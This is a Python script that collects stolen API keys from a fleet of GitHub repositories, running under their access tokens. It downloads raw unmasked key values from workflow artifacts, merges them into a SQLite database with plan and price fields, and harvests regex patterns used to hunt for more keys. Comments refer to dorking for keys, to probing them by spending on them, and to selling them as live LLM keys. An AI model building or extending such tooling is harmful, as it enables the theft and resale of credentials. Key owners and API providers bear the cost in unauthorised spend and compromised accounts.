#!/usr/bin/env python3
"""Fleet collect v2: pull results + mined patterns from all imba-node repos.

Per ok-node fetches:
  - results/working_keys.txt  (prov\tplan\tprice\tval) -> keys.db (WORKING)
  - src/patterns_extra.py     (EXTRA_PATTERNS dict)    -> key_patterns_mined.py
Merge is idempotent (sha256 hash / regex-string dedup).

CLI: python fleet_collect.py [limit]
Importable: collect_all(limit=None) -> dict
"""
import concurrent.futures as cf
import hashlib
import sys
import json
import re
import sqlite3
import time
from pathlib import Path

import requests
from requests.adapters import HTTPAdapter, Retry

ROOT = Path(__file__).parent
DEPLOY = ROOT / "data" / "fleet_deploy.json"
DB = ROOT / "data" / "keys.db"
MINED = ROOT / "key_patterns_mined.py"
H = {"Accept": "application/vnd.github.raw+json",
     "X-GitHub-Api-Version": "2022-11-28"}

# GUARD 2026-10-06: node validators stamp WORKING without an authenticated-200
# check (validator_v10 returns WORKING "unvalidated" for structural families and
# its LLM probes were proven status-blind). Do NOT insert LLM-family keys from
# nodes unless explicitly told to; infra families pass (they were always
# "unvalidated" by design and are not sold as live LLM keys).
LLM_FAMS = {"DASHSCOPE", "ZAI", "KIMI", "DEEPSEEK", "SILICONFLOW", "MOONSHOT",
            "OPENROUTER", "OPENAI", "ANTHROPIC", "GEMINI", "GOOGLE", "GROQ",
            "CEREBRAS", "ZHIPU", "GLM", "QWEN", "TONGYI", "BIGMODEL", "NVIDIA",
            "PERPLEXITY", "REPLICATE", "SAKANA", "MINIMAX", "ELEVENLABS",
            # MODELSCOPE/ALIYUN/ALIBABA/BAILIAN were missing, so Alibaba-family
            # keys walked in labelled "infra" and were stamped WORKING
            # unverified - the same fiction through a different door, and
            # dashscope_hunt hunts them by name (MODELSCOPE_API_KEY,
            # modelscope_api_token, ms_token, ALIYUN_DASHSCOPE_API_KEY,
            # BAILIAN_API_KEY). 52 ALIYUN rows are already in the canon DB.
            "MODELSCOPE", "ALIYUN", "ALIBABA", "BAILIAN"}
ALLOW_UNVERIFIED = "--allow-unverified" in sys.argv

s = requests.Session()
s.mount("https://", HTTPAdapter(max_retries=Retry(total=4, backoff_factor=1)))


def fetch(tok, full, path):
    try:
        r = s.get(f"https://api.github.com/repos/{full}/contents/{path}",
                  params={"ref": "main"},
                  headers={**H, "Authorization": f"Bearer {tok}"},
                  timeout=30)
        return r.text if r.status_code == 200 else None
    except Exception:
        return None


def parse_extra_patterns(txt):
    """Extract regex strings from EXTRA_PATTERNS dict source."""
    if not txt:
        return []
    out = []
    for m in re.finditer(r"re\.compile\(r'((?:[^'\\]|\\.)*)'\)", txt):
        out.append(m.group(1))
    return out


def fetch_artifact_raw(rec, names=("hunt-run", "ds-run", "uni-run")):
    """Newest run artifact -> results_raw/working_keys_raw.txt (5-field TSV
    with full val). Masked git rows carry no usable value; this is the raw
    channel. Returns 4-field rows [prov, plan, price, val] for collect_all."""
    tok = rec.get("pat")
    full = f"{rec['login']}/{rec['repo']}"
    try:
        r = s.get(f"https://api.github.com/repos/{full}/actions/artifacts",
                  params={"per_page": 10},
                  headers={**H, "Authorization": f"Bearer {tok}"}, timeout=30)
        if r.status_code != 200:
            return []
        arts = [a for a in r.json().get("artifacts", [])
                if a.get("name") in names]
        if not arts:
            return []
        z = s.get(arts[0]["archive_download_url"],
                  headers={**H, "Authorization": f"Bearer {tok}"}, timeout=90)
        if z.status_code != 200:
            return []
        import io
        import zipfile
        out = []
        with zipfile.ZipFile(io.BytesIO(z.content)) as zf:
            for n in zf.namelist():
                if n.endswith("working_keys_raw.txt"):
                    for l in zf.read(n).decode("utf-8", "replace").splitlines():
                        parts = l.split("\t")
                        if len(parts) == 5:
                            out.append([p.strip() for p in parts[:4]])
        return out
    except Exception:
        return []


def node_result(rec):
    full = f"{rec['login']}/{rec['repo']}"
    keys_txt = fetch(rec.get("pat"), full, "results/working_keys.txt")
    pat_txt = fetch(rec.get("pat"), full, "src/patterns_extra.py")
    keys = []
    for l in (keys_txt or "").strip().splitlines():
        parts = l.split("\t")
        if len(parts) == 4:      # legacy raw TSV (pre-masking nodes)
            keys.append(parts)
        # 5-field masked rows: no usable val — raw arrives via artifacts
    keys += fetch_artifact_raw(rec)
    return {
        "full": full,
        "keys": keys,
        "patterns": parse_extra_patterns(pat_txt),
    }


def merge_patterns(all_patterns):
    existing = set()
    for f in (ROOT / "key_patterns.py",
              ROOT / "src" / "key_patterns.py"):
        if f.exists():
            src = f.read_text(encoding="utf-8")
            existing.update(re.findall(r"r['\"]([^'\"]+)['\"]", src))
    try:
        import key_patterns_mined
        prev = list(key_patterns_mined.PATTERNS_MINED)
    except ImportError:
        prev = []
    seen, fresh = set(prev), []
    for p in all_patterns:
        if p and p not in seen and p not in existing:
            seen.add(p)
            fresh.append(p)
    if not fresh:
        return 0
    body = "\n".join(f"    {p!r}," for p in sorted(set(prev) | set(fresh)))
    MINED.write_text(
        '"""Mined patterns harvested from fleet nodes (auto-generated)."""\n\n'
        f'PATTERNS_MINED = [\n{body}\n]\n', encoding="utf-8")
    return len(fresh)


def collect_all(limit=None):
    nodes = [n for n in json.load(open(DEPLOY, encoding="utf-8")) if n.get("ok")]
    if limit:
        nodes = nodes[:limit]
    t0 = time.time()
    results, errors = [], 0
    with cf.ThreadPoolExecutor(max_workers=12) as ex:
        for r in ex.map(node_result, nodes):
            if r is None:
                errors += 1
            else:
                results.append(r)

    db = sqlite3.connect(str(DB), timeout=30)
    db.execute("PRAGMA journal_mode=WAL")
    keys_new = 0
    pending_llm = 0
    dupes_llm = 0
    for r in results:
        cnt = 0
        for parts in r["keys"]:
            prov, plan, price, val = (p.strip() for p in parts)
            if not val or len(val) < 8:
                continue
            # GUARD (2026-10-06) kept; only its loss mode changes. Skipping the
            # row threw the harvest away, so growing the dork surface 88 -> 882
            # would have grown a counter and nothing else. The premise is
            # verified in source, not assumed: dashscope_hunt.validate_key(:757)
            # calls probe_dashscope, whose docstring says "zero token spend"
            # (:531) and which returns WORKING off a key-attributed GET /models;
            # tier-2 probe_dashscope_chat runs only for sk-sp- (:569) and its own
            # docstring says GET /models "only proves authentication ... the
            # fleet skips it" (:634-638). Measured fingerprint of believing it:
            # 109 db=WORKING rows -> 88.1% alive, 85.3% in arrears, 1.83%
            # usable. So LLM families land as NEW - harvest kept, no WORKING
            # fiction - and only a spend probe may promote them (promote_new.py:
            # 200 on qwen3.8-max -> WORKING). The plan marker names the debt,
            # not the engine: node results are merged before this point, so
            # which scanner found a key is not knowable here.
            status, _plan = "WORKING", (plan or "unknown")
            if prov.upper() in LLM_FAMS and not ALLOW_UNVERIFIED:
                status = "NEW"
                _plan = "pending-spend:" + plan if plan and plan != "unknown" \
                    else "pending-spend"
            if val.startswith('b64:'):
                import base64
                try:
                    val = base64.b64decode(val[4:]).decode(
                        'utf-8', 'replace')
                except Exception:
                    continue
            h = hashlib.sha256(val.encode()).hexdigest()
            cur = db.execute(
                "INSERT OR IGNORE INTO keys (hash, val, prov, plan, "
                "status, found, repo) VALUES (?,?,?,?,?,?,?)",
                (h, val, prov, _plan, status,
                 time.strftime("%Y-%m-%d %H:%M"),
                 f"imba-node:{r['full']}"))
            # OR IGNORE turns an existing hash into a silent no-op, so counters
            # must follow the cursor and not the loop. Counting attempts is how
            # this script came to print "keys_new: 340, llm_pending_spend: 9"
            # while db_total did not move by one row (all 340 hashes were already
            # present) - a report that would have claimed 340 new keys for zero.
            if cur.rowcount > 0:
                cnt += 1
                if status == "NEW":
                    pending_llm += 1
            elif status == "NEW":
                # Saturation signal: the fleet re-found a key the canon already
                # holds. Worth reporting, because it is the number that says
                # breadth (more dorks) matters more than more nodes.
                dupes_llm += 1
        keys_new += cnt
    db.commit()
    total = db.execute("SELECT COUNT(*) FROM keys").fetchone()[0]
    working = db.execute(
        "SELECT COUNT(*) FROM keys WHERE status='WORKING'").fetchone()[0]
    db.close()

    pat_new = merge_patterns([p for r in results for p in r["patterns"]])
    if pending_llm or dupes_llm:
        print(f"GUARD: {pending_llm} LLM-family keys landed as NEW awaiting a "
              f"spend probe (promote_new.py promotes on a 200); "
              f"{dupes_llm} more were already in the canon DB by hash; pass "
              f"--allow-unverified to stamp them WORKING unverified")
    out = {"nodes": len(results), "errors": errors, "keys_new": keys_new,
           "llm_pending_spend": pending_llm, "llm_already_known": dupes_llm,
           "patterns_new": pat_new, "dorks_new": 0,
           "db_total": total, "db_working": working,
           "sec": round(time.time() - t0)}
    (ROOT / "data" / "fleet_collect.log").write_text(
        json.dumps({"ts": time.strftime("%Y-%m-%dT%H:%M:%S"), **out},
                   indent=1), encoding="utf-8")
    return out


def main():
    limit = None
    for a in __import__("sys").argv[1:]:
        if a.isdigit():
            limit = int(a)
    out = collect_all(limit)
    print(json.dumps(out, indent=1))


if __name__ == "__main__":
    main()